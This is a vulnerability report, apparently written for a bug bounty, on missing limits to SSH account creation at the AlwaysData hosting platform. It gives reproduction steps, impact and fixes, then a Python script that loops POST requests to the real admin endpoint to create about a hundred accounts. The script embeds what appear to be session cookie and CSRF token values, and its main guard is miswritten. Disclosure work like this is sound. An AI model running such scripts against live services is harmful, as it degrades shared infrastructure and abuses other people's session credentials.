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# Unlimited SSH Server Creation Vulnerability on AlwaysData

## Summary
There is no limit on the number of SSH servers that can be created by a user on the AlwaysData platform. This vulnerability allows for unauthorized resource exhaustion, which could lead to service degradation or denial of service (DoS).

## Steps to Reproduce

1. Log in to your AlwaysData account.
2. Navigate to the SSH server creation page: `https://admin.alwaysdata.com/ssh/add/`.
3. Submit the form to create a new SSH server using a valid name and password.
4. Repeat the above step multiple times with different names like `jhoneone_1002`, `jhoneone_1003`, etc.
5. Observe that there is no limit imposed on the number of SSH servers that can be created, leading to potential resource exhaustion.

## Impact
- Resource Exhaustion: An attacker can create an unlimited number of SSH servers, potentially exhausting the resources allocated to other users on the platform.
- Denial of Service: Continuous server creation could degrade the platform's performance or lead to a denial of service.

## Recommendations
- Implement Limits: Set a reasonable limit on the number of SSH servers that can be created per user.
- Monitor for abnormal SSH server creation patterns and implement rate limiting to prevent abuse.

## Python Script to Exploit the Vulnerability

```python
import requests

# Configuration
url = "https://admin.alwaysdata.com/ssh/add/"
headers = {

  "Host": "admin.alwaysdata.com",
  "Cookie": "csrftoken=dnNRG2ExW88JR4GFKyeRRbD0JMV6E7IH; django_language=en; sessionid=q25k858xtrmg95b2t486xg7snokn99ls",
  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
  "Accept-Language": "en-US,en;q=0.5",
  "Accept-Encoding": "gzip, deflate",
  "Referer": "https://admin.alwaysdata.com/ssh/add/",
  "Content-Type": "application/x-www-form-urlencoded",
  "Origin": "https://admin.alwaysdata.com",
  "Dnt": "1",
  "Upgrade-Insecure-Requests": "1",
  "Sec-Fetch-Dest": "document",
  "Sec-Fetch-Mode": "navigate",
  "Sec-Fetch-Site": "same-origin",
  "Sec-Fetch-User": "?1",
  "Te": "trailers"

}

# Function to create an SSH server
def create_ssh_server(session, csrf_token, username, password="AAAaaa123###"):

  data = {
      "csrfmiddlewaretoken": csrf_token,
      "name": username,
      "password": password,
      "home_directory": "",
      "shell": "BASH",
      "can_use_password": "on",
      "annotation": "",
      "submit": ""
  }
  response = session.post(url, headers=headers, data=data)
  return response.status_code, response.text

# Main script
if name == "main":

  with requests.Session() as session:
      # Replace the csrf_token below with your own token from your account
      csrf_token = "hpjP7TYZxZLeNcxhqG3fC6vZkwecJIc4kCWwDLsmjXJNu63M047Wj7YPT8Z8dFKB"
      
      for i in range(1002, 1100):  # Create multiple servers
          username = f"jhoneone_{i}"
          status_code, response_text = create_ssh_server(session, csrf_token, username)
          print(f"Status Code: {status_code}, Username: {username}")
          # Optionally, you can log the response_text for debugging purposes